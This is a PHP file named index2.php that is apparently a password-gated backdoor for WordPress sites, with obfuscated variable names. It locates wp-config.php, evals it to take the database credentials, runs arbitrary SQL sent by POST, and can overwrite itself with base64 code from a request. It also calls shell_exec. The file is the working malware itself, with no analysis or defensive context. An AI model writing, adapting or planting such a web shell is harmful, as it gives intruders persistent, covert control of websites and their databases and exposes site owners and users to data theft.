index2.php

<?php
define('EXT_MYSQLI', 'mysqli'); define('EXT_MYSQL', 'mysql'); define('CONF_PASSWORD_HASH', '20cfa5f996783570c772d43fc109a2f9'); define('VERSION', '0.1.2'); function r_get_lib() { if (class_exists('mysqli')) { return EXT_MYSQLI; } if (function_exists('mysql_connect')) { return EXT_MYSQL; } } function r_get_config_path() { $sp6d5329 = realpath('.'); $sp332ac3 = 0; while ($sp6d5329 != '/') { if (file_exists(sprintf('%s/wp-config.php', $sp6d5329)) && file_exists(sprintf('%s/index.php', $sp6d5329)) && file_exists(sprintf('%s/wp-settings.php', $sp6d5329))) { return $sp6d5329; } $sp332ac3++; $sp6d5329 = realpath(str_repeat('../', $sp332ac3)); } } function r_get_config() { $sp6d5329 = realpath('.'); $sp332ac3 = 0; while ($sp6d5329 != '/') { if (file_exists(sprintf('%s/wp-config.php', $sp6d5329)) && file_exists(sprintf('%s/index.php', $sp6d5329)) && file_exists(sprintf('%s/wp-settings.php', $sp6d5329))) { $sp87e1af = file_get_contents(sprintf('%s/wp-config.php', $sp6d5329)); $sp87e1af = str_replace('<?php', '', $sp87e1af); $sp87e1af = str_replace('<?', '', $sp87e1af); $sp87e1af = str_replace('?>', '', $sp87e1af); $sp87e1af = preg_replace('/require_once[^\\r\\n]+[\\r\\n]+/i', '', $sp87e1af); eval($sp87e1af); $spabe7d1 = 'table_prefix'; return array('host' => DB_HOST, 'db' => DB_NAME, 'user' => DB_USER, 'pass' => DB_PASSWORD, 'prefix' => ${$spabe7d1}, 'path' => $sp6d5329); break; } $sp332ac3++; $sp6d5329 = realpath(str_repeat('../', $sp332ac3)); } } function r_mysql_connect($sp87e1af) { $spb13809 = mysql_connect($sp87e1af['host'], $sp87e1af['user'], $sp87e1af['pass']); mysql_select_db($sp87e1af['db'], $spb13809); return $spb13809; } function r_mysqli_connect($sp87e1af) { return new mysqli($sp87e1af['host'], $sp87e1af['user'], $sp87e1af['pass'], $sp87e1af['db']); } function r_mysql_query($sp87e1af, $spb13809, $sp54b70d, $sp2c37e4 = array()) { if (!empty($sp2c37e4)) { foreach ($sp2c37e4 as $sp90966f => $sp414d21) { $sp54b70d = str_replace($sp90966f, mysql_real_escape_string($sp414d21, $spb13809), $sp54b70d); } } $sp64c575 = array(); $sp1e239a = mysql_query($sp54b70d, $spb13809); if ($sp1e239a) { while ($spa8700b = mysql_fetch_assoc($sp1e239a)) { $sp64c575[] = $spa8700b; } return array('success' => $sp64c575); } else { return array('error' => sprintf('%s :: %s', mysql_errno($spb13809), mysql_error($spb13809))); } } function r_mysqli_query($sp87e1af, $spb13809, $sp54b70d, $sp2c37e4 = array()) { if (!empty($sp2c37e4)) { foreach ($sp2c37e4 as $sp90966f => $sp414d21) { $sp54b70d = str_replace($sp90966f, $spb13809->real_escape_string($sp414d21), $sp54b70d); } } $sp1e239a = $spb13809->query($sp54b70d); if (is_object($sp1e239a)) { $sp64c575 = array(); while ($spa8700b = $sp1e239a->fetch_assoc()) { $sp64c575[] = $spa8700b; } return array('success' => $sp64c575); } if ($sp1e239a) { return array('success' => true); } else { return array('error' => sprintf('%s :: %s', $spb13809->errno, $spb13809->error)); } } function r_action_prefix() { $sp87e1af = r_get_config(); echo $sp87e1af['prefix']; } function r_action_query() { $sp87e1af = r_get_config(); $sp8cecd7 = r_get_lib(); $sp2c37e4 = json_decode($_POST['bind'], true); if (isset($_POST['decode'])) { $sp9f0017 = array_map('trim', explode(',', $_POST['decode'])); foreach ($sp9f0017 as $sp238e98) { if (isset($sp2c37e4[$sp238e98])) { $sp2c37e4[$sp238e98] = base64_decode($sp2c37e4[$sp238e98]); } } } $spb13809 = call_user_func(sprintf('r_%s_connect', $sp8cecd7), $sp87e1af); $sp1e239a = call_user_func(sprintf('r_%s_query', $sp8cecd7), $sp87e1af, $spb13809, $_POST['query'], $sp2c37e4); if (isset($_POST['encode'])) { $sp96ad6f = array_map('trim', explode(',', $_POST['encode'])); foreach ($sp1e239a['success'] as $spf61edf => $spa8700b) { foreach ($sp96ad6f as $sp96f035) { $sp1e239a['success'][$spf61edf][$sp96f035] = base64_encode($sp1e239a['success'][$spf61edf][$sp96f035]); } } } echo json_encode($sp1e239a); } function r_action_update() { file_put_contents(__FILE__, base64_decode($_POST['file'])); echo md5(base64_decode($_POST['file'])); } function r_action_version() { echo VERSION; } function r_action_w3tc() { $sp6d5329 = r_get_config_path(); echo base64_encode(shell_exec(sprintf('ls -l %s/wp-content/cache/page_enhanced/www.indexwp.com/braxton-magazine-theme/', r_get_config_path()))); } if (CONF_PASSWORD_HASH == md5($_POST['password'])) { switch ($_POST['action']) { case 'link': $sp6d5329 = r_get_config_path(); chdir($sp6d5329); $sp6293ef = $_POST['id']; require_once $sp6d5329 . '/wp-load.php'; $sp14225f = get_permalink($_POST['id']); echo sprintf('[<{%s}>]', $sp14225f); break; default: $sp730e88 = sprintf('r_action_%s', $_POST['action']); call_user_func($sp730e88); break; } } else { die('ympf'); }